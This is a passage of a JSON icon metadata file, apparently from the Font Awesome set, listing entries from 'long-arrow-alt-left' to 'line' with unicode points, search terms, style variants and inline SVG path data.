      "names": ["long-arrow-alt-left"],
      "unicodes": {
        "secondary": ["10f30a"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "long-arrow-left", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f30a",
    "label": "Left Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M177.5 414c-8.8 3.8-19 2-26-4.6l-144-136C2.7 268.9 0 262.6 0 256s2.7-12.9 7.5-17.4l144-136c7-6.6 17.2-8.4 26-4.6s14.5 12.5 14.5 22l0 72 288 0c17.7 0 32 14.3 32 32l0 64c0 17.7-14.3 32-32 32l-288 0 0 72c0 9.6-5.7 18.2-14.5 22z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M177.5 414c-8.8 3.8-19 2-26-4.6l-144-136C2.7 268.9 0 262.6 0 256s2.7-12.9 7.5-17.4l144-136c7-6.6 17.2-8.4 26-4.6s14.5 12.5 14.5 22l0 72 288 0c17.7 0 32 14.3 32 32l0 64c0 17.7-14.3 32-32 32l-288 0 0 72c0 9.6-5.7 18.2-14.5 22z"
      }
    },
    "free": ["solid"]
  },
  "left-right": {
    "aliases": {
      "names": ["arrows-alt-h"],
      "unicodes": {
        "composite": ["2194"],
        "secondary": ["10f337"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows-h",
        "expand",
        "horizontal",
        "landscape",
        "left-right arrow",
        "resize",
        "wide"
      ]
    },
    "styles": ["solid"],
    "unicode": "f337",
    "label": "Left Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.3 273.6c4.9-4.5 7.7-10.9 7.7-17.6s-2.8-13-7.7-17.6l-112-104c-7-6.5-17.2-8.2-25.9-4.4s-14.4 12.5-14.4 22l0 56-192 0 0-56c0-9.5-5.7-18.2-14.4-22s-18.9-2.1-25.9 4.4l-112 104C2.8 243 0 249.3 0 256s2.8 13 7.7 17.6l112 104c7 6.5 17.2 8.2 25.9 4.4s14.4-12.5 14.4-22l0-56 192 0 0 56c0 9.5 5.7 18.2 14.4 22s18.9 2.1 25.9-4.4l112-104z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504.3 273.6c4.9-4.5 7.7-10.9 7.7-17.6s-2.8-13-7.7-17.6l-112-104c-7-6.5-17.2-8.2-25.9-4.4s-14.4 12.5-14.4 22l0 56-192 0 0-56c0-9.5-5.7-18.2-14.4-22s-18.9-2.1-25.9 4.4l-112 104C2.8 243 0 249.3 0 256s2.8 13 7.7 17.6l112 104c7 6.5 17.2 8.2 25.9 4.4s14.4-12.5 14.4-22l0-56 192 0 0 56c0 9.5 5.7 18.2 14.4 22s18.9 2.1 25.9-4.4l112-104z"
      }
    },
    "free": ["solid"]
  },
  "lemon": {
    "aliases": {
      "unicodes": {
        "composite": ["1f34b"],
        "secondary": ["10f094"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["citrus", "fruit", "lemon", "lemonade", "lime", "tart"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f094",
    "label": "Lemon",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 96c0-35.3-28.7-64-64-64c-6.6 0-13 1-19 2.9c-22.5 7-48.1 14.9-71 9c-75.2-19.1-156.4 11-213.7 68.3S-7.2 250.8 11.9 326c5.8 22.9-2 48.4-9 71C1 403 0 409.4 0 416c0 35.3 28.7 64 64 64c6.6 0 13-1 19.1-2.9c22.5-7 48.1-14.9 71-9c75.2 19.1 156.4-11 213.7-68.3s87.5-138.5 68.3-213.7c-5.8-22.9 2-48.4 9-71c1.9-6 2.9-12.4 2.9-19.1zM212.5 127.4c-54.6 16-101.1 62.5-117.1 117.1C92.9 253 84 257.8 75.5 255.4S62.2 244 64.6 235.5c19.1-65.1 73.7-119.8 138.9-138.9c8.5-2.5 17.4 2.4 19.9 10.9s-2.4 17.4-10.9 19.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 96c0-35.3-28.7-64-64-64c-6.6 0-13 1-19 2.9c-22.5 7-48.1 14.9-71 9c-75.2-19.1-156.4 11-213.7 68.3S-7.2 250.8 11.9 326c5.8 22.9-2 48.4-9 71C1 403 0 409.4 0 416c0 35.3 28.7 64 64 64c6.6 0 13-1 19.1-2.9c22.5-7 48.1-14.9 71-9c75.2 19.1 156.4-11 213.7-68.3s87.5-138.5 68.3-213.7c-5.8-22.9 2-48.4 9-71c1.9-6 2.9-12.4 2.9-19.1zM212.5 127.4c-54.6 16-101.1 62.5-117.1 117.1C92.9 253 84 257.8 75.5 255.4S62.2 244 64.6 235.5c19.1-65.1 73.7-119.8 138.9-138.9c8.5-2.5 17.4 2.4 19.9 10.9s-2.4 17.4-10.9 19.9z"
      },
      "regular": {
        "last_modified": 1684767420,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 80c-3.2 0-6.2 .4-8.9 1.3C340 86.8 313 91.9 284.8 84.6C227.4 69.7 160.2 92 110.1 142.1S37.7 259.4 52.6 316.8c7.3 28.2 2.2 55.2-3.3 74.3c-.8 2.8-1.3 5.8-1.3 8.9c0 17.7 14.3 32 32 32c3.2 0 6.2-.4 8.9-1.3c19.1-5.5 46.1-10.7 74.3-3.3c57.4 14.9 124.6-7.4 174.7-57.5s72.4-117.3 57.5-174.7c-7.3-28.2-2.2-55.2 3.3-74.3c.8-2.8 1.3-5.8 1.3-8.9c0-17.7-14.3-32-32-32zm0-48c44.2 0 80 35.8 80 80c0 7.7-1.1 15.2-3.1 22.3c-4.6 15.8-7.1 32.9-3 48.9c20.1 77.6-10.9 161.5-70 220.7s-143.1 90.2-220.7 70c-16-4.1-33-1.6-48.9 3c-7.1 2-14.6 3.1-22.3 3.1c-44.2 0-80-35.8-80-80c0-7.7 1.1-15.2 3.1-22.3c4.6-15.8 7.1-32.9 3-48.9C-14 251.3 17 167.3 76.2 108.2S219.3 18 296.8 38.1c16 4.1 33 1.6 48.9-3c7.1-2 14.6-3.1 22.3-3.1zM246.7 167c-52 15.2-96.5 59.7-111.7 111.7c-3.7 12.7-17.1 20-29.8 16.3s-20-17.1-16.3-29.8c19.8-67.7 76.6-124.5 144.3-144.3c12.7-3.7 26.1 3.6 29.8 16.3s-3.6 26.1-16.3 29.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M368 80c-3.2 0-6.2 .4-8.9 1.3C340 86.8 313 91.9 284.8 84.6C227.4 69.7 160.2 92 110.1 142.1S37.7 259.4 52.6 316.8c7.3 28.2 2.2 55.2-3.3 74.3c-.8 2.8-1.3 5.8-1.3 8.9c0 17.7 14.3 32 32 32c3.2 0 6.2-.4 8.9-1.3c19.1-5.5 46.1-10.7 74.3-3.3c57.4 14.9 124.6-7.4 174.7-57.5s72.4-117.3 57.5-174.7c-7.3-28.2-2.2-55.2 3.3-74.3c.8-2.8 1.3-5.8 1.3-8.9c0-17.7-14.3-32-32-32zm0-48c44.2 0 80 35.8 80 80c0 7.7-1.1 15.2-3.1 22.3c-4.6 15.8-7.1 32.9-3 48.9c20.1 77.6-10.9 161.5-70 220.7s-143.1 90.2-220.7 70c-16-4.1-33-1.6-48.9 3c-7.1 2-14.6 3.1-22.3 3.1c-44.2 0-80-35.8-80-80c0-7.7 1.1-15.2 3.1-22.3c4.6-15.8 7.1-32.9 3-48.9C-14 251.3 17 167.3 76.2 108.2S219.3 18 296.8 38.1c16 4.1 33 1.6 48.9-3c7.1-2 14.6-3.1 22.3-3.1zM246.7 167c-52 15.2-96.5 59.7-111.7 111.7c-3.7 12.7-17.1 20-29.8 16.3s-20-17.1-16.3-29.8c19.8-67.7 76.6-124.5 144.3-144.3c12.7-3.7 26.1 3.6 29.8 16.3s-3.6 26.1-16.3 29.8z"
      }
    },
    "free": ["regular", "solid"]
  },
  "less": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41d",
    "label": "Less",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M612.7 219c0-20.5 3.2-32.6 3.2-54.6 0-34.2-12.6-45.2-40.5-45.2h-20.5v24.2h6.3c14.2 0 17.3 4.7 17.3 22.1 0 16.3-1.6 32.6-1.6 51.5 0 24.2 7.9 33.6 23.6 37.3v1.6c-15.8 3.7-23.6 13.1-23.6 37.3 0 18.9 1.6 34.2 1.6 51.5 0 17.9-3.7 22.6-17.3 22.6v.5h-6.3V393h20.5c27.8 0 40.5-11 40.5-45.2 0-22.6-3.2-34.2-3.2-54.6 0-11 6.8-22.6 27.3-23.6v-27.3c-20.5-.7-27.3-12.3-27.3-23.3zm-105.6 32c-15.8-6.3-30.5-10-30.5-20.5 0-7.9 6.3-12.6 17.9-12.6s22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-21 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51s-22.5-41-43-47.8zm-358.9 59.4c-3.7 0-8.4-3.2-8.4-13.1V119.1H65.2c-28.4 0-41 11-41 45.2 0 22.6 3.2 35.2 3.2 54.6 0 11-6.8 22.6-27.3 23.6v27.3c20.5.5 27.3 12.1 27.3 23.1 0 19.4-3.2 31-3.2 53.6 0 34.2 12.6 45.2 40.5 45.2h20.5v-24.2h-6.3c-13.1 0-17.3-5.3-17.3-22.6s1.6-32.1 1.6-51.5c0-24.2-7.9-33.6-23.6-37.3v-1.6c15.8-3.7 23.6-13.1 23.6-37.3 0-18.9-1.6-34.2-1.6-51.5s3.7-22.1 17.3-22.1H93v150.8c0 32.1 11 53.1 43.1 53.1 10 0 17.9-1.6 23.6-3.7l-5.3-34.2c-3.1.8-4.6.8-6.2.8zM379.9 251c-16.3-6.3-31-10-31-20.5 0-7.9 6.3-12.6 17.9-12.6 11.6 0 22.1 4.7 33.6 13.1l21-27.8c-13.1-10-31-20.5-55.2-20.5-35.7 0-59.9 20.5-59.9 49.4 0 25.7 22.6 38.9 41.5 46.2 16.3 6.3 32.1 11.6 32.1 22.1 0 7.9-6.3 13.1-20.5 13.1-13.1 0-26.3-5.3-40.5-16.3l-20.5 30.5c15.8 13.1 39.9 22.1 59.9 22.1 42 0 64.6-22.1 64.6-51 .1-28.9-22.5-41-43-47.8zm-155-68.8c-38.4 0-75.1 32.1-74.1 82.5 0 52 34.2 82.5 79.3 82.5 18.9 0 39.9-6.8 56.2-17.9l-15.8-27.8c-11.6 6.8-22.6 10-34.2 10-21 0-37.3-10-41.5-34.2H290c.5-3.7 1.6-11 1.6-19.4.6-42.6-22.6-75.7-66.7-75.7zm-30 66.2c3.2-21 15.8-31 30.5-31 18.9 0 26.3 13.1 26.3 31h-56.8z"
      }
    },
    "free": ["brands"]
  },
  "less-than": {
    "aliases": {
      "unicodes": {
        "composite": ["f536"],
        "primary": ["f536"],
        "secondary": ["103c", "10f536"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Less-Than Sign", "arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "3c",
    "label": "Less Than",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M380.6 81.7c7.9 15.8 1.5 35-14.3 42.9L103.6 256 366.3 387.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-320-160C6.8 279.2 0 268.1 0 256s6.8-23.2 17.7-28.6l320-160c15.8-7.9 35-1.5 42.9 14.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M380.6 81.7c7.9 15.8 1.5 35-14.3 42.9L103.6 256 366.3 387.4c15.8 7.9 22.2 27.1 14.3 42.9s-27.1 22.2-42.9 14.3l-320-160C6.8 279.2 0 268.1 0 256s6.8-23.2 17.7-28.6l320-160c15.8-7.9 35-1.5 42.9 14.3z"
      }
    },
    "free": ["solid"]
  },
  "less-than-equal": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f537"]
      }
    },
    "changes": ["5.0.13", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arithmetic", "compare", "math"]
    },
    "styles": ["solid"],
    "unicode": "f537",
    "label": "Less Than Equal",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M395.9 93.7c16.4-6.6 24.4-25.2 17.8-41.6s-25.2-24.4-41.6-17.8l-320 128C40 167.1 32 178.9 32 192s8 24.9 20.1 29.7l320 128c16.4 6.6 35-1.4 41.6-17.8s-1.4-35-17.8-41.6L150.2 192 395.9 93.7zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M395.9 93.7c16.4-6.6 24.4-25.2 17.8-41.6s-25.2-24.4-41.6-17.8l-320 128C40 167.1 32 178.9 32 192s8 24.9 20.1 29.7l320 128c16.4 6.6 35-1.4 41.6-17.8s-1.4-35-17.8-41.6L150.2 192 395.9 93.7zM32 416c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32z"
      }
    },
    "free": ["solid"]
  },
  "life-ring": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1cd"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["coast guard", "help", "overboard", "save", "support"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1cd",
    "label": "Life Ring",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M367.2 412.5C335.9 434.9 297.5 448 256 448s-79.9-13.1-111.2-35.5l58-58c15.8 8.6 34 13.5 53.3 13.5s37.4-4.9 53.3-13.5l58 58zm90.7 .8c33.8-43.4 54-98 54-157.3s-20.2-113.9-54-157.3c9-12.5 7.9-30.1-3.4-41.3S425.8 45 413.3 54C369.9 20.2 315.3 0 256 0S142.1 20.2 98.7 54c-12.5-9-30.1-7.9-41.3 3.4S45 86.2 54 98.7C20.2 142.1 0 196.7 0 256s20.2 113.9 54 157.3c-9 12.5-7.9 30.1 3.4 41.3S86.2 467 98.7 458c43.4 33.8 98 54 157.3 54s113.9-20.2 157.3-54c12.5 9 30.1 7.9 41.3-3.4s12.4-28.8 3.4-41.3zm-45.5-46.1l-58-58c8.6-15.8 13.5-34 13.5-53.3s-4.9-37.4-13.5-53.3l58-58C434.9 176.1 448 214.5 448 256s-13.1 79.9-35.5 111.2zM367.2 99.5l-58 58c-15.8-8.6-34-13.5-53.3-13.5s-37.4 4.9-53.3 13.5l-58-58C176.1 77.1 214.5 64 256 64s79.9 13.1 111.2 35.5zM157.5 309.3l-58 58C77.1 335.9 64 297.5 64 256s13.1-79.9 35.5-111.2l58 58c-8.6 15.8-13.5 34-13.5 53.3s4.9 37.4 13.5 53.3zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M367.2 412.5C335.9 434.9 297.5 448 256 448s-79.9-13.1-111.2-35.5l58-58c15.8 8.6 34 13.5 53.3 13.5s37.4-4.9 53.3-13.5l58 58zm90.7 .8c33.8-43.4 54-98 54-157.3s-20.2-113.9-54-157.3c9-12.5 7.9-30.1-3.4-41.3S425.8 45 413.3 54C369.9 20.2 315.3 0 256 0S142.1 20.2 98.7 54c-12.5-9-30.1-7.9-41.3 3.4S45 86.2 54 98.7C20.2 142.1 0 196.7 0 256s20.2 113.9 54 157.3c-9 12.5-7.9 30.1 3.4 41.3S86.2 467 98.7 458c43.4 33.8 98 54 157.3 54s113.9-20.2 157.3-54c12.5 9 30.1 7.9 41.3-3.4s12.4-28.8 3.4-41.3zm-45.5-46.1l-58-58c8.6-15.8 13.5-34 13.5-53.3s-4.9-37.4-13.5-53.3l58-58C434.9 176.1 448 214.5 448 256s-13.1 79.9-35.5 111.2zM367.2 99.5l-58 58c-15.8-8.6-34-13.5-53.3-13.5s-37.4 4.9-53.3 13.5l-58-58C176.1 77.1 214.5 64 256 64s79.9 13.1 111.2 35.5zM157.5 309.3l-58 58C77.1 335.9 64 297.5 64 256s13.1-79.9 35.5-111.2l58 58c-8.6 15.8-13.5 34-13.5 53.3s4.9 37.4 13.5 53.3zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      },
      "regular": {
        "last_modified": 1684767636,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M385.1 419.1C349.7 447.2 304.8 464 256 464s-93.7-16.8-129.1-44.9l80.4-80.4c14.3 8.4 31 13.3 48.8 13.3s34.5-4.8 48.8-13.3l80.4 80.4zm68.1 .2C489.9 374.9 512 318.1 512 256s-22.1-118.9-58.8-163.3L465 81c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L419.3 58.8C374.9 22.1 318.1 0 256 0S137.1 22.1 92.7 58.8L81 47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L58.8 92.7C22.1 137.1 0 193.9 0 256s22.1 118.9 58.8 163.3L47 431c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l11.8-11.8C137.1 489.9 193.9 512 256 512s118.9-22.1 163.3-58.8L431 465c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-11.8-11.8zm-34.1-34.1l-80.4-80.4c8.4-14.3 13.3-31 13.3-48.8s-4.8-34.5-13.3-48.8l80.4-80.4C447.2 162.3 464 207.2 464 256s-16.8 93.7-44.9 129.1zM385.1 92.9l-80.4 80.4c-14.3-8.4-31-13.3-48.8-13.3s-34.5 4.8-48.8 13.3L126.9 92.9C162.3 64.8 207.2 48 256 48s93.7 16.8 129.1 44.9zM173.3 304.8L92.9 385.1C64.8 349.7 48 304.8 48 256s16.8-93.7 44.9-129.1l80.4 80.4c-8.4 14.3-13.3 31-13.3 48.8s4.8 34.5 13.3 48.8zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M385.1 419.1C349.7 447.2 304.8 464 256 464s-93.7-16.8-129.1-44.9l80.4-80.4c14.3 8.4 31 13.3 48.8 13.3s34.5-4.8 48.8-13.3l80.4 80.4zm68.1 .2C489.9 374.9 512 318.1 512 256s-22.1-118.9-58.8-163.3L465 81c9.4-9.4 9.4-24.6 0-33.9s-24.6-9.4-33.9 0L419.3 58.8C374.9 22.1 318.1 0 256 0S137.1 22.1 92.7 58.8L81 47c-9.4-9.4-24.6-9.4-33.9 0s-9.4 24.6 0 33.9L58.8 92.7C22.1 137.1 0 193.9 0 256s22.1 118.9 58.8 163.3L47 431c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l11.8-11.8C137.1 489.9 193.9 512 256 512s118.9-22.1 163.3-58.8L431 465c9.4 9.4 24.6 9.4 33.9 0s9.4-24.6 0-33.9l-11.8-11.8zm-34.1-34.1l-80.4-80.4c8.4-14.3 13.3-31 13.3-48.8s-4.8-34.5-13.3-48.8l80.4-80.4C447.2 162.3 464 207.2 464 256s-16.8 93.7-44.9 129.1zM385.1 92.9l-80.4 80.4c-14.3-8.4-31-13.3-48.8-13.3s-34.5 4.8-48.8 13.3L126.9 92.9C162.3 64.8 207.2 48 256 48s93.7 16.8 129.1 44.9zM173.3 304.8L92.9 385.1C64.8 349.7 48 304.8 48 256s16.8-93.7 44.9-129.1l80.4 80.4c-8.4 14.3-13.3 31-13.3 48.8s4.8 34.5 13.3 48.8zM208 256a48 48 0 1 1 96 0 48 48 0 1 1 -96 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "lightbulb": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4a1"],
        "secondary": ["10f0eb"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.3.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "  comic",
        "  electric",
        "  idea",
        "  innovation",
        "  inspiration",
        "  light",
        "  light bulb",
        " bulb",
        "bulb",
        "comic",
        "electric",
        "energy",
        "idea",
        "inspiration",
        "mechanical"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0eb",
    "label": "Lightbulb",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M272 384c9.6-31.9 29.5-59.1 49.2-86.2l0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4l0 0c19.8 27.1 39.7 54.4 49.2 86.2H272zM192 512c44.2 0 80-35.8 80-80V416H112v16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M272 384c9.6-31.9 29.5-59.1 49.2-86.2l0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4l0 0c19.8 27.1 39.7 54.4 49.2 86.2H272zM192 512c44.2 0 80-35.8 80-80V416H112v16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z"
      },
      "regular": {
        "last_modified": 1684767444,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M297.2 248.9C311.6 228.3 320 203.2 320 176c0-70.7-57.3-128-128-128S64 105.3 64 176c0 27.2 8.4 52.3 22.8 72.9c3.7 5.3 8.1 11.3 12.8 17.7l0 0c12.9 17.7 28.3 38.9 39.8 59.8c10.4 19 15.7 38.8 18.3 57.5H109c-2.2-12-5.9-23.7-11.8-34.5c-9.9-18-22.2-34.9-34.5-51.8l0 0 0 0c-5.2-7.1-10.4-14.2-15.4-21.4C27.6 247.9 16 213.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176c0 37.3-11.6 71.9-31.4 100.3c-5 7.2-10.2 14.3-15.4 21.4l0 0 0 0c-12.3 16.8-24.6 33.7-34.5 51.8c-5.9 10.8-9.6 22.5-11.8 34.5H226.4c2.6-18.7 7.9-38.6 18.3-57.5c11.5-20.9 26.9-42.1 39.8-59.8l0 0 0 0 0 0c4.7-6.4 9-12.4 12.7-17.7zM192 128c-26.5 0-48 21.5-48 48c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16s-7.2 16-16 16zm0 384c-44.2 0-80-35.8-80-80V416H272v16c0 44.2-35.8 80-80 80z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M297.2 248.9C311.6 228.3 320 203.2 320 176c0-70.7-57.3-128-128-128S64 105.3 64 176c0 27.2 8.4 52.3 22.8 72.9c3.7 5.3 8.1 11.3 12.8 17.7l0 0c12.9 17.7 28.3 38.9 39.8 59.8c10.4 19 15.7 38.8 18.3 57.5H109c-2.2-12-5.9-23.7-11.8-34.5c-9.9-18-22.2-34.9-34.5-51.8l0 0 0 0c-5.2-7.1-10.4-14.2-15.4-21.4C27.6 247.9 16 213.3 16 176C16 78.8 94.8 0 192 0s176 78.8 176 176c0 37.3-11.6 71.9-31.4 100.3c-5 7.2-10.2 14.3-15.4 21.4l0 0 0 0c-12.3 16.8-24.6 33.7-34.5 51.8c-5.9 10.8-9.6 22.5-11.8 34.5H226.4c2.6-18.7 7.9-38.6 18.3-57.5c11.5-20.9 26.9-42.1 39.8-59.8l0 0 0 0 0 0c4.7-6.4 9-12.4 12.7-17.7zM192 128c-26.5 0-48 21.5-48 48c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16s-7.2 16-16 16zm0 384c-44.2 0-80-35.8-80-80V416H272v16c0 44.2-35.8 80-80 80z"
      }
    },
    "free": ["regular", "solid"]
  },
  "line": {
    "changes": ["5.0.0", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3c0",
    "label": "Line",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1672840969,
